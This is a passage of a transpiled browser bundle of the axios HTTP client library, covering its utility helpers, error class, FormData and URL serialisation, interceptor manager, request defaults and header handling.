/** * Inherit the prototype methods from one constructor into another * @param {function} constructor * @param {function} superConstructor * @param {object} [props] * @param {object} [descriptors] * * @returns {void} */ var inherits = function inherits(constructor, superConstructor, props, descriptors) { constructor.prototype = Object.create(superConstructor.prototype, descriptors); constructor.prototype.constructor = constructor; Object.defineProperty(constructor, 'super', { value: superConstructor.prototype }); props && Object.assign(constructor.prototype, props); }; /** * Resolve object with deep prototype chain to a flat object * @param {Object} sourceObj source object * @param {Object} [destObj] * @param {Function|Boolean} [filter] * @param {Function} [propFilter] * * @returns {Object} */ var toFlatObject = function toFlatObject(sourceObj, destObj, filter, propFilter) { var props; var i; var prop; var merged = {}; destObj = destObj || {}; // eslint-disable-next-line no-eq-null,eqeqeq if (sourceObj == null) return destObj; do { props = Object.getOwnPropertyNames(sourceObj); i = props.length; while (i-- > 0) { prop = props[i]; if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) { destObj[prop] = sourceObj[prop]; merged[prop] = true; } } sourceObj = filter !== false && getPrototypeOf(sourceObj); } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype); return destObj; }; /** * Determines whether a string ends with the characters of a specified string * * @param {String} str * @param {String} searchString * @param {Number} [position= 0] * * @returns {boolean} */ var endsWith = function endsWith(str, searchString, position) { str = String(str); if (position === undefined || position > str.length) { position = str.length; } position -= searchString.length; var lastIndex = str.indexOf(searchString, position); return lastIndex !== -1 && lastIndex === position; }; /** * Returns new array from array like object or null if failed * * @param {*} [thing] * * @returns {?Array} */ var toArray = function toArray(thing) { if (!thing) return null; if (isArray(thing)) return thing; var i = thing.length; if (!isNumber(i)) return null; var arr = new Array(i); while (i-- > 0) { arr[i] = thing[i]; } return arr; }; /** * Checking if the Uint8Array exists and if it does, it returns a function that checks if the * thing passed in is an instance of Uint8Array * * @param {TypedArray} * * @returns {Array} */ // eslint-disable-next-line func-names var isTypedArray = function (TypedArray) { // eslint-disable-next-line func-names return function (thing) { return TypedArray && thing instanceof TypedArray; }; }(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array)); /** * For each entry in the object, call the function with the key and value. * * @param {Object<any, any>} obj - The object to iterate over. * @param {Function} fn - The function to call for each entry. * * @returns {void} */ var forEachEntry = function forEachEntry(obj, fn) { var generator = obj && obj[Symbol.iterator]; var iterator = generator.call(obj); var result; while ((result = iterator.next()) && !result.done) { var pair = result.value; fn.call(obj, pair[0], pair[1]); } }; /** * It takes a regular expression and a string, and returns an array of all the matches * * @param {string} regExp - The regular expression to match against. * @param {string} str - The string to search. * * @returns {Array<boolean>} */ var matchAll = function matchAll(regExp, str) { var matches; var arr = []; while ((matches = regExp.exec(str)) !== null) { arr.push(matches); } return arr; }; /* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */ var isHTMLForm = kindOfTest('HTMLFormElement'); var toCamelCase = function toCamelCase(str) { return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g, function replacer(m, p1, p2) { return p1.toUpperCase() + p2; }); }; /* Creating a function that will check if an object has a property. */ var hasOwnProperty = function (_ref4) { var hasOwnProperty = _ref4.hasOwnProperty; return function (obj, prop) { return hasOwnProperty.call(obj, prop); }; }(Object.prototype); /** * Determine if a value is a RegExp object * * @param {*} val The value to test * * @returns {boolean} True if value is a RegExp object, otherwise false */ var isRegExp = kindOfTest('RegExp'); var reduceDescriptors = function reduceDescriptors(obj, reducer) { var descriptors = Object.getOwnPropertyDescriptors(obj); var reducedDescriptors = {}; forEach(descriptors, function (descriptor, name) { var ret; if ((ret = reducer(descriptor, name, obj)) !== false) { reducedDescriptors[name] = ret || descriptor; } }); Object.defineProperties(obj, reducedDescriptors); }; /** * Makes all methods read-only * @param {Object} obj */ var freezeMethods = function freezeMethods(obj) { reduceDescriptors(obj, function (descriptor, name) { // skip restricted props in strict mode if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) { return false; } var value = obj[name]; if (!isFunction(value)) return; descriptor.enumerable = false; if ('writable' in descriptor) { descriptor.writable = false; return; } if (!descriptor.set) { descriptor.set = function () { throw Error('Can not rewrite read-only method \'' + name + '\''); }; } }); }; var toObjectSet = function toObjectSet(arrayOrString, delimiter) { var obj = {}; var define = function define(arr) { arr.forEach(function (value) { obj[value] = true; }); }; isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter)); return obj; }; var noop = function noop() {}; var toFiniteNumber = function toFiniteNumber(value, defaultValue) { return value != null && Number.isFinite(value = +value) ? value : defaultValue; }; var ALPHA = 'abcdefghijklmnopqrstuvwxyz'; var DIGIT = '0123456789'; var ALPHABET = { DIGIT: DIGIT, ALPHA: ALPHA, ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT }; var generateString = function generateString() { var size = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 16; var alphabet = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ALPHABET.ALPHA_DIGIT; var str = ''; var length = alphabet.length; while (size--) { str += alphabet[Math.random() * length | 0]; } return str; }; /** * If the thing is a FormData object, return true, otherwise return false. * * @param {unknown} thing - The thing to check. * * @returns {boolean} */ function isSpecCompliantForm(thing) { return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]); } var toJSONObject = function toJSONObject(obj) { var stack = new Array(10); var visit = function visit(source, i) { if (isObject(source)) { if (stack.indexOf(source) >= 0) { return; } if (!('toJSON' in source)) { stack[i] = source; var target = isArray(source) ? [] : {}; forEach(source, function (value, key) { var reducedValue = visit(value, i + 1); !isUndefined(reducedValue) && (target[key] = reducedValue); }); stack[i] = undefined; return target; } } return source; }; return visit(obj, 0); }; var isAsyncFn = kindOfTest('AsyncFunction'); var isThenable = function isThenable(thing) { return thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing["catch"]); }; var utils$1 = { isArray: isArray, isArrayBuffer: isArrayBuffer, isBuffer: isBuffer, isFormData: isFormData, isArrayBufferView: isArrayBufferView, isString: isString, isNumber: isNumber, isBoolean: isBoolean, isObject: isObject, isPlainObject: isPlainObject, isReadableStream: isReadableStream, isRequest: isRequest, isResponse: isResponse, isHeaders: isHeaders, isUndefined: isUndefined, isDate: isDate, isFile: isFile, isBlob: isBlob, isRegExp: isRegExp, isFunction: isFunction, isStream: isStream, isURLSearchParams: isURLSearchParams, isTypedArray: isTypedArray, isFileList: isFileList, forEach: forEach, merge: merge, extend: extend, trim: trim, stripBOM: stripBOM, inherits: inherits, toFlatObject: toFlatObject, kindOf: kindOf, kindOfTest: kindOfTest, endsWith: endsWith, toArray: toArray, forEachEntry: forEachEntry, matchAll: matchAll, isHTMLForm: isHTMLForm, hasOwnProperty: hasOwnProperty, hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection reduceDescriptors: reduceDescriptors, freezeMethods: freezeMethods, toObjectSet: toObjectSet, toCamelCase: toCamelCase, noop: noop, toFiniteNumber: toFiniteNumber, findKey: findKey, global: _global, isContextDefined: isContextDefined, ALPHABET: ALPHABET, generateString: generateString, isSpecCompliantForm: isSpecCompliantForm, toJSONObject: toJSONObject, isAsyncFn: isAsyncFn, isThenable: isThenable }; /** * Create an Error with the specified message, config, error code, request and response. * * @param {string} message The error message. * @param {string} [code] The error code (for example, 'ECONNABORTED'). * @param {Object} [config] The config. * @param {Object} [request] The request. * @param {Object} [response] The response. * * @returns {Error} The created error. */ function AxiosError(message, code, config, request, response) { Error.call(this); if (Error.captureStackTrace) { Error.captureStackTrace(this, this.constructor); } else { this.stack = new Error().stack; } this.message = message; this.name = 'AxiosError'; code && (this.code = code); config && (this.config = config); request && (this.request = request); response && (this.response = response); } utils$1.inherits(AxiosError, Error, { toJSON: function toJSON() { return { // Standard message: this.message, name: this.name, // Microsoft description: this.description, number: this.number, // Mozilla fileName: this.fileName, lineNumber: this.lineNumber, columnNumber: this.columnNumber, stack: this.stack, // Axios config: utils$1.toJSONObject(this.config), code: this.code, status: this.response && this.response.status ? this.response.status : null }; } }); var prototype$1 = AxiosError.prototype; var descriptors = {}; ['ERR_BAD_OPTION_VALUE', 'ERR_BAD_OPTION', 'ECONNABORTED', 'ETIMEDOUT', 'ERR_NETWORK', 'ERR_FR_TOO_MANY_REDIRECTS', 'ERR_DEPRECATED', 'ERR_BAD_RESPONSE', 'ERR_BAD_REQUEST', 'ERR_CANCELED', 'ERR_NOT_SUPPORT', 'ERR_INVALID_URL' // eslint-disable-next-line func-names ].forEach(function (code) { descriptors[code] = { value: code }; }); Object.defineProperties(AxiosError, descriptors); Object.defineProperty(prototype$1, 'isAxiosError', { value: true }); // eslint-disable-next-line func-names AxiosError.from = function (error, code, config, request, response, customProps) { var axiosError = Object.create(prototype$1); utils$1.toFlatObject(error, axiosError, function filter(obj) { return obj !== Error.prototype; }, function (prop) { return prop !== 'isAxiosError'; }); AxiosError.call(axiosError, error.message, code, config, request, response); axiosError.cause = error; axiosError.name = error.name; customProps && Object.assign(axiosError, customProps); return axiosError; }; // eslint-disable-next-line strict var httpAdapter = null; /** * Determines if the given thing is a array or js object. * * @param {string} thing - The object or array to be visited. * * @returns {boolean} */ function isVisitable(thing) { return utils$1.isPlainObject(thing) || utils$1.isArray(thing); } /** * It removes the brackets from the end of a string * * @param {string} key - The key of the parameter. * * @returns {string} the key without the brackets. */ function removeBrackets(key) { return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key; } /** * It takes a path, a key, and a boolean, and returns a string * * @param {string} path - The path to the current key. * @param {string} key - The key of the current object being iterated over. * @param {string} dots - If true, the key will be rendered with dots instead of brackets. * * @returns {string} The path to the current key. */ function renderKey(path, key, dots) { if (!path) return key; return path.concat(key).map(function each(token, i) { // eslint-disable-next-line no-param-reassign token = removeBrackets(token); return !dots && i ? '[' + token + ']' : token; }).join(dots ? '.' : ''); } /** * If the array is an array and none of its elements are visitable, then it's a flat array. * * @param {Array<any>} arr - The array to check * * @returns {boolean} */ function isFlatArray(arr) { return utils$1.isArray(arr) && !arr.some(isVisitable); } var predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) { return /^is[A-Z]/.test(prop); }); /** * Convert a data object to FormData * * @param {Object} obj * @param {?Object} [formData] * @param {?Object} [options] * @param {Function} [options.visitor] * @param {Boolean} [options.metaTokens = true] * @param {Boolean} [options.dots = false] * @param {?Boolean} [options.indexes = false] * * @returns {Object} **/ /** * It converts an object into a FormData object * * @param {Object<any, any>} obj - The object to convert to form data. * @param {string} formData - The FormData object to append to. * @param {Object<string, any>} options * * @returns */ function toFormData(obj, formData, options) { if (!utils$1.isObject(obj)) { throw new TypeError('target must be an object'); } // eslint-disable-next-line no-param-reassign formData = formData || new (FormData)(); // eslint-disable-next-line no-param-reassign options = utils$1.toFlatObject(options, { metaTokens: true, dots: false, indexes: false }, false, function defined(option, source) { // eslint-disable-next-line no-eq-null,eqeqeq return !utils$1.isUndefined(source[option]); }); var metaTokens = options.metaTokens; // eslint-disable-next-line no-use-before-define var visitor = options.visitor || defaultVisitor; var dots = options.dots; var indexes = options.indexes; var _Blob = options.Blob || typeof Blob !== 'undefined' && Blob; var useBlob = _Blob && utils$1.isSpecCompliantForm(formData); if (!utils$1.isFunction(visitor)) { throw new TypeError('visitor must be a function'); } function convertValue(value) { if (value === null) return ''; if (utils$1.isDate(value)) { return value.toISOString(); } if (!useBlob && utils$1.isBlob(value)) { throw new AxiosError('Blob is not supported. Use a Buffer instead.'); } if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) { return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value); } return value; } /** * Default visitor. * * @param {*} value * @param {String|Number} key * @param {Array<String|Number>} path * @this {FormData} * * @returns {boolean} return true to visit the each prop of the value recursively */ function defaultVisitor(value, key, path) { var arr = value; if (value && !path && _typeof(value) === 'object') { if (utils$1.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } else if (utils$1.isArray(value) && isFlatArray(value) || (utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value))) { // eslint-disable-next-line no-param-reassign key = removeBrackets(key); arr.forEach(function each(el, index) { !(utils$1.isUndefined(el) || el === null) && formData.append( // eslint-disable-next-line no-nested-ternary indexes === true ? renderKey([key], index, dots) : indexes === null ? key : key + '[]', convertValue(el)); }); return false; } } if (isVisitable(value)) { return true; } formData.append(renderKey(path, key, dots), convertValue(value)); return false; } var stack = []; var exposedHelpers = Object.assign(predicates, { defaultVisitor: defaultVisitor, convertValue: convertValue, isVisitable: isVisitable }); function build(value, path) { if (utils$1.isUndefined(value)) return; if (stack.indexOf(value) !== -1) { throw Error('Circular reference detected in ' + path.join('.')); } stack.push(value); utils$1.forEach(value, function each(el, key) { var result = !(utils$1.isUndefined(el) || el === null) && visitor.call(formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers); if (result === true) { build(el, path ? path.concat(key) : [key]); } }); stack.pop(); } if (!utils$1.isObject(obj)) { throw new TypeError('data must be an object'); } build(obj); return formData; } /** * It encodes a string by replacing all characters that are not in the unreserved set with * their percent-encoded equivalents * * @param {string} str - The string to encode. * * @returns {string} The encoded string. */ function encode$1(str) { var charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); } /** * It takes a params object and converts it to a FormData object * * @param {Object<string, any>} params - The parameters to be converted to a FormData object. * @param {Object<string, any>} options - The options object passed to the Axios constructor. * * @returns {void} */ function AxiosURLSearchParams(params, options) { this._pairs = []; params && toFormData(params, this, options); } var prototype = AxiosURLSearchParams.prototype; prototype.append = function append(name, value) { this._pairs.push([name, value]); }; prototype.toString = function toString(encoder) { var _encode = encoder ? function (value) { return encoder.call(this, value, encode$1); } : encode$1; return this._pairs.map(function each(pair) { return _encode(pair[0]) + '=' + _encode(pair[1]); }, '').join('&'); }; /** * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their * URI encoded counterparts * * @param {string} val The value to be encoded. * * @returns {string} The encoded value. */ function encode(val) { return encodeURIComponent(val).replace(/%3A/gi, ':').replace(/%24/g, '$').replace(/%2C/gi, ',').replace(/%20/g, '+').replace(/%5B/gi, '[').replace(/%5D/gi, ']'); } /** * Build a URL by appending params to the end * * @param {string} url The base of the url (e.g., http://www.google.com) * @param {object} [params] The params to be appended * @param {?object} options * * @returns {string} The formatted url */ function buildURL(url, params, options) { /*eslint no-param-reassign:0*/ if (!params) { return url; } var _encode = options && options.encode || encode; var serializeFn = options && options.serialize; var serializedParams; if (serializeFn) { serializedParams = serializeFn(params, options); } else { serializedParams = utils$1.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, options).toString(_encode); } if (serializedParams) { var hashmarkIndex = url.indexOf("#"); if (hashmarkIndex !== -1) { url = url.slice(0, hashmarkIndex); } url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams; } return url; } var InterceptorManager = /*#__PURE__*/function () { function InterceptorManager() { _classCallCheck(this, InterceptorManager); this.handlers = []; } /** * Add a new interceptor to the stack * * @param {Function} fulfilled The function to handle `then` for a `Promise` * @param {Function} rejected The function to handle `reject` for a `Promise` * * @return {Number} An ID used to remove interceptor later */ _createClass(InterceptorManager, [{ key: "use", value: function use(fulfilled, rejected, options) { this.handlers.push({ fulfilled: fulfilled, rejected: rejected, synchronous: options ? options.synchronous : false, runWhen: options ? options.runWhen : null }); return this.handlers.length - 1; } /** * Remove an interceptor from the stack * * @param {Number} id The ID that was returned by `use` * * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise */ }, { key: "eject", value: function eject(id) { if (this.handlers[id]) { this.handlers[id] = null; } } /** * Clear all interceptors from the stack * * @returns {void} */ }, { key: "clear", value: function clear() { if (this.handlers) { this.handlers = []; } } /** * Iterate over all the registered interceptors * * This method is particularly useful for skipping over any * interceptors that may have become `null` calling `eject`. * * @param {Function} fn The function to call for each interceptor * * @returns {void} */ }, { key: "forEach", value: function forEach(fn) { utils$1.forEach(this.handlers, function forEachHandler(h) { if (h !== null) { fn(h); } }); } }]); return InterceptorManager; }(); var InterceptorManager$1 = InterceptorManager; var transitionalDefaults = { silentJSONParsing: true, forcedJSONParsing: true, clarifyTimeoutError: false }; var URLSearchParams$1 = typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams; var FormData$1 = typeof FormData !== 'undefined' ? FormData : null; var Blob$1 = typeof Blob !== 'undefined' ? Blob : null; var platform$1 = { isBrowser: true, classes: { URLSearchParams: URLSearchParams$1, FormData: FormData$1, Blob: Blob$1 }, protocols: ['http', 'https', 'file', 'blob', 'url', 'data'] }; var hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined'; /** * Determine if we're running in a standard browser environment * * This allows axios to run in a web worker, and react-native. * Both environments support XMLHttpRequest, but not fully standard globals. * * web workers: * typeof window -> undefined * typeof document -> undefined * * react-native: * navigator.product -> 'ReactNative' * nativescript * navigator.product -> 'NativeScript' or 'NS' * * @returns {boolean} */ var hasStandardBrowserEnv = function (product) { return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0; }(typeof navigator !== 'undefined' && navigator.product); /** * Determine if we're running in a standard browser webWorker environment * * Although the `isStandardBrowserEnv` method indicates that * `allows axios to run in a web worker`, the WebWorker will still be * filtered out due to its judgment standard * `typeof window !== 'undefined' && typeof document !== 'undefined'`. * This leads to a problem when axios post `FormData` in webWorker */ var hasStandardBrowserWebWorkerEnv = function () { return typeof WorkerGlobalScope !== 'undefined' && // eslint-disable-next-line no-undef self instanceof WorkerGlobalScope && typeof self.importScripts === 'function'; }(); var origin = hasBrowserEnv && window.location.href || 'http://localhost'; var utils = /*#__PURE__*/Object.freeze({ __proto__: null, hasBrowserEnv: hasBrowserEnv, hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv, hasStandardBrowserEnv: hasStandardBrowserEnv, origin: origin }); var platform = _objectSpread2(_objectSpread2({}, utils), platform$1); function toURLEncodedForm(data, options) { return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({ visitor: function visitor(value, key, path, helpers) { if (platform.isNode && utils$1.isBuffer(value)) { this.append(key, value.toString('base64')); return false; } return helpers.defaultVisitor.apply(this, arguments); } }, options)); } /** * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z'] * * @param {string} name - The name of the property to get. * * @returns An array of strings. */ function parsePropPath(name) { // foo[x][y][z] // foo.x.y.z // foo-x-y-z // foo x y z return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(function (match) { return match[0] === '[]' ? '' : match[1] || match[0]; }); } /** * Convert an array to an object. * * @param {Array<any>} arr - The array to convert to an object. * * @returns An object with the same keys and values as the array. */ function arrayToObject(arr) { var obj = {}; var keys = Object.keys(arr); var i; var len = keys.length; var key; for (i = 0; i < len; i++) { key = keys[i]; obj[key] = arr[key]; } return obj; } /** * It takes a FormData object and returns a JavaScript object * * @param {string} formData The FormData object to convert to JSON. * * @returns {Object<string, any> | null} The converted object. */ function formDataToJSON(formData) { function buildPath(path, value, target, index) { var name = path[index++]; if (name === '__proto__') return true; var isNumericKey = Number.isFinite(+name); var isLast = index >= path.length; name = !name && utils$1.isArray(target) ? target.length : name; if (isLast) { if (utils$1.hasOwnProp(target, name)) { target[name] = [target[name], value]; } else { target[name] = value; } return !isNumericKey; } if (!target[name] || !utils$1.isObject(target[name])) { target[name] = []; } var result = buildPath(path, value, target[name], index); if (result && utils$1.isArray(target[name])) { target[name] = arrayToObject(target[name]); } return !isNumericKey; } if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) { var obj = {}; utils$1.forEachEntry(formData, function (name, value) { buildPath(parsePropPath(name), value, obj, 0); }); return obj; } return null; } /** * It takes a string, tries to parse it, and if it fails, it returns the stringified version * of the input * * @param {any} rawValue - The value to be stringified. * @param {Function} parser - A function that parses a string into a JavaScript object. * @param {Function} encoder - A function that takes a value and returns a string. * * @returns {string} A stringified version of the rawValue. */ function stringifySafely(rawValue, parser, encoder) { if (utils$1.isString(rawValue)) { try { (parser || JSON.parse)(rawValue); return utils$1.trim(rawValue); } catch (e) { if (e.name !== 'SyntaxError') { throw e; } } } return (encoder || JSON.stringify)(rawValue); } var defaults = { transitional: transitionalDefaults, adapter: ['xhr', 'http', 'fetch'], transformRequest: [function transformRequest(data, headers) { var contentType = headers.getContentType() || ''; var hasJSONContentType = contentType.indexOf('application/json') > -1; var isObjectPayload = utils$1.isObject(data); if (isObjectPayload && utils$1.isHTMLForm(data)) { data = new FormData(data); } var isFormData = utils$1.isFormData(data); if (isFormData) { return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; } if (utils$1.isArrayBuffer(data) || utils$1.isBuffer(data) || utils$1.isStream(data) || utils$1.isFile(data) || utils$1.isBlob(data) || utils$1.isReadableStream(data)) { return data; } if (utils$1.isArrayBufferView(data)) { return data.buffer; } if (utils$1.isURLSearchParams(data)) { headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false); return data.toString(); } var isFileList; if (isObjectPayload) { if (contentType.indexOf('application/x-www-form-urlencoded') > -1) { return toURLEncodedForm(data, this.formSerializer).toString(); } if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) { var _FormData = this.env && this.env.FormData; return toFormData(isFileList ? { 'files[]': data } : data, _FormData && new _FormData(), this.formSerializer); } } if (isObjectPayload || hasJSONContentType) { headers.setContentType('application/json', false); return stringifySafely(data); } return data; }], transformResponse: [function transformResponse(data) { var transitional = this.transitional || defaults.transitional; var forcedJSONParsing = transitional && transitional.forcedJSONParsing; var JSONRequested = this.responseType === 'json'; if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) { return data; } if (data && utils$1.isString(data) && (forcedJSONParsing && !this.responseType || JSONRequested)) { var silentJSONParsing = transitional && transitional.silentJSONParsing; var strictJSONParsing = !silentJSONParsing && JSONRequested; try { return JSON.parse(data); } catch (e) { if (strictJSONParsing) { if (e.name === 'SyntaxError') { throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response); } throw e; } } } return data; }], /** * A timeout in milliseconds to abort a request. If set to 0 (default) a * timeout is not created. */ timeout: 0, xsrfCookieName: 'XSRF-TOKEN', xsrfHeaderName: 'X-XSRF-TOKEN', maxContentLength: -1, maxBodyLength: -1, env: { FormData: platform.classes.FormData, Blob: platform.classes.Blob }, validateStatus: function validateStatus(status) { return status >= 200 && status < 300; }, headers: { common: { 'Accept': 'application/json, text/plain, */*', 'Content-Type': undefined } } }; utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], function (method) { defaults.headers[method] = {}; }); var defaults$1 = defaults; // RawAxiosHeaders whose duplicates are ignored by node // c.f. https://nodejs.org/api/http.html#http_message_headers var ignoreDuplicateOf = utils$1.toObjectSet(['age', 'authorization', 'content-length', 'content-type', 'etag', 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since', 'last-modified', 'location', 'max-forwards', 'proxy-authorization', 'referer', 'retry-after', 'user-agent']); /** * Parse headers into an object * * ``` * Date: Wed, 27 Aug 2014 08:58:49 GMT * Content-Type: application/json * Connection: keep-alive * Transfer-Encoding: chunked * ``` * * @param {String} rawHeaders Headers needing to be parsed * * @returns {Object} Headers parsed into an object */ var parseHeaders = (function (rawHeaders) { var parsed = {}; var key; var val; var i; rawHeaders && rawHeaders.split('\n').forEach(function parser(line) { i = line.indexOf(':'); key = line.substring(0, i).trim().toLowerCase(); val = line.substring(i + 1).trim(); if (!key || parsed[key] && ignoreDuplicateOf[key]) { return; } if (key === 'set-cookie') { if (parsed[key]) { parsed[key].push(val); } else { parsed[key] = [val]; } } else { parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val; } }); return parsed; }); var $internals = Symbol('internals'); function normalizeHeader(header) { return header && String(header).trim().toLowerCase(); } function normalizeValue(value) { if (value === false || value == null) { return value; } return utils$1.isArray(value) ? value.map(normalizeValue) : String(value); } function parseTokens(str) { var tokens = Object.create(null); var tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g; var match; while (match = tokensRE.exec(str)) { tokens[match[1]] = match[2]; } return tokens; } var isValidHeaderName = function isValidHeaderName(str) { return /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim()); }; function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) { if (utils$1.isFunction(filter)) { return filter.call(this, value, header); } if (isHeaderNameFilter) { value = header; } if (!utils$1.isString(value)) return; if (utils$1.isString(filter)) { return value.indexOf(filter) !== -1; } if (utils$1.isRegExp(filter)) { return filter.test(value); } } function formatHeader(header) { return header.trim().toLowerCase().replace(/([a-z\d])(\w*)/g, function (w, _char, str) { return _char.toUpperCase() + str; }); } function buildAccessors(obj, header) { var accessorName = utils$1.toCamelCase(' ' + header); ['get', 'set', 'has'].forEach(function (methodName) { Object.defineProperty(obj, methodName + accessorName, { value: function value(arg1, arg2, arg3) { return this[methodName].call(this, header, arg1, arg2, arg3); }, configurable: true }); }); } var AxiosHeaders = /*#__PURE__*/function (_Symbol$iterator, _Symbol$toStringTag) { function AxiosHeaders(headers) { _classCallCheck(this, AxiosHeaders); headers && this.set(headers); } _createClass(AxiosHeaders, [{ key: "set", value: function set(header, valueOrRewrite, rewrite) { var self = this; function setHeader(_value, _header, _rewrite) { var lHeader = normalizeHeader(_header); if (!lHeader) { throw new Error('header name must be a non-empty string'); } var key = utils$1.findKey(self, lHeader); if (!key || self[key] === undefined || _rewrite === true || _rewrite === undefined && self[key] !== false) { self[key || _header] = normalizeValue(_value); } } var setHeaders = function setHeaders(headers, _rewrite) { return utils$1.forEach(headers, function (_value, _header) { return setHeader(_value, _header, _rewrite); }); }; if (utils$1.isPlainObject(header) || header instanceof this.constructor) { setHeaders(header, valueOrRewrite); } else if (utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) { setHeaders(parseHeaders(header), valueOrRewrite); } else if (utils$1.isHeaders(header)) { var _iterator = _createForOfIteratorHelper(header.entries()), _step; try { for (_iterator.s(); !(_step = _iterator.n()).done;) { var _step$value = _slicedToArray(_step.value, 2), key = _step$value[0], value = _step$value[1]; setHeader(value, key, rewrite); } } catch (err) { _iterator.e(err); } finally { _iterator.f(); } } else { header != null && setHeader(valueOrRewrite, header, rewrite); } return this; } }, { key: "get", value: function get(header, parser) { header = normalizeHeader(header); if (header) { var key = utils$1.findKey(this, header); if (key) { var value = this[key]; if (!parser) { return value; } if (parser === true) { return parseTokens(value); } if (utils$1.isFunction(parser)) { return parser.call(this, value, key); } if (utils$1.isRegExp(parser)) { return parser.exec(value); } throw new TypeError('parser must be boolean|regexp|function'); } } } }, { key: "has", value: function has(header, matcher) { header = normalizeHeader(header); if (header) { var key = utils$1.findKey(this, header); return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher))); } return false; } }, { key: "delete", value: function _delete(header, matcher) { var self = this; var deleted = false; function deleteHeader(_header) { _header = normalizeHeader(_header); if (_header) { var key = utils$1.findKey(self, _header); if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) { delete self[key]; deleted = true; } } } if (utils$1.isArray(header)) { header.forEach(deleteHeader); } else { deleteHeader(header); } return deleted; } }, { key: "clear", value: function clear(matcher) { var keys = Object.keys(this); var i = keys.length; var deleted = false; while (i--) { var key = keys[i]; if (!matcher || matchHeaderValue(this, this[key], key, matcher, true)) { delete this[key]; deleted = true; } } return deleted; } }, { key: "normalize", value: function normalize(format) { var self = this; var headers = {}; utils$1.forEach(this, function (value, header) { var key = utils$1.findKey(headers, header); if (key) { self[key] = normalizeValue(value); delete self[header]; return; } var normalized = format ? formatHeader(header) : String(header).trim(); if (normalized !== header) { delete self[header]; } self[normalized] = normalizeValue(value); headers[normalized] = true; }); return this; } }, { key: "concat", value: function concat() { var _this$constructor; for (var _len = arguments.length, targets = new Array(_len), _key = 0; _key < _len; _key++) { targets[_key] = arguments[_key]; } return (_this$constructor = this.constructor).concat.apply(_this$constructor, [this].concat(targets)); } }, { key: "toJSON", value: function toJSON(asStrings) { var obj = Object.create(null); utils$1.forEach(this, function (value, header) { value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value); }); return obj; } }, { key: _Symbol$iterator, value: function value() { return Object.entries(this.toJSON())[Symbol.iterator](); } }, { key: "toString", value: function toString() { return Object.entries(this.toJSON()).map(function (_ref) { var _ref2 = _slicedToArray(_ref, 2), header = _ref2[0], value = _ref2[1]; return header + ': ' + value; }).join('\n'); } }, { key: _Symbol$toStringTag, get: function get() { return 'AxiosHeaders'; } }], [{ key: "from", value: function from(thing) { return thing instanceof this ? thing : new this(thing); } }, { key: "concat", value: function concat(first) { var computed = new this(first); for (var _len2 = arguments.length, targets = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) { targets[_key2 - 1] = arguments[_key2]; } targets.forEach(function (target) { return computed.set(target); }); return computed; } }, { key: "accessor", value: function accessor(header) { var internals = this[$internals] = this[$internals] = { accessors: {} }; var accessors = internals.accessors; var prototype = this.prototype; function defineAccessor(_header) { var lHeader = normalizeHeader(_header); if (!accessors[lHeader]) { buildAccessors(prototype, _header); accessors[lHeader] = true; } } utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header); return this; } }]); return AxiosHeaders; }(Symbol.iterator, Symbol.toStringTag); AxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']); // 